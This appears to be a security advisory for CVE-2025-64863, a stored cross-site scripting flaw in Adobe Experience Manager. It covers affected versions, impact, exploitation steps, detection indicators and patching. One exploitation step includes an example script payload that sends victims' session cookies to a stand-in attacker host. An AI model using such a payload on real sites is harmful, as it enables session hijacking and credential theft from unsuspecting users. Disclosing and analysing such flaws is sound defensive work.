CVE-2025-64863: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64863 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the affected field (stored/persistent XSS). Exploitation requires the attacker to be authenticated with low privileges and requires user interaction from a victim (browsing to the affected page), with the scope changed to affect the victim's browser session (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the impact extends beyond the attacker's own session to affect other users of the AEM instance (Adobe Advisory).

1. Obtain low-privileged access: Authenticate to the target Adobe Experience Manager instance using any low-privileged account (e.g., a content author or contributor account).
2. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and render it without proper sanitization (e.g., text fields in page properties, content fragments, or custom forms).
3. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
4. Wait for victim interaction: The malicious script is now stored server-side. When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the script executes in their browser.
5. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data, enabling session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads in form field parameters.
• Logs: AEM error or audit logs recording unexpected content modifications by low-privileged accounts, particularly involving HTML or script injection in page properties or content fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages (indicative of data exfiltration via injected scripts).
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) within stored AEM content nodes (JCR repository) that were not placed by legitimate authors.

Adobe has released patches addressing CVE-2025-64863. Users of AEM on-premises should upgrade to version 6.5.24.0 or later; AEM Cloud Service customers should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged account activity (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. Tenable published a Nessus detection plugin (ID 278346) for this CVE shortly after disclosure. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64863 has been identified beyond standard vulnerability aggregator coverage (Adobe Advisory, Tenable Plugin).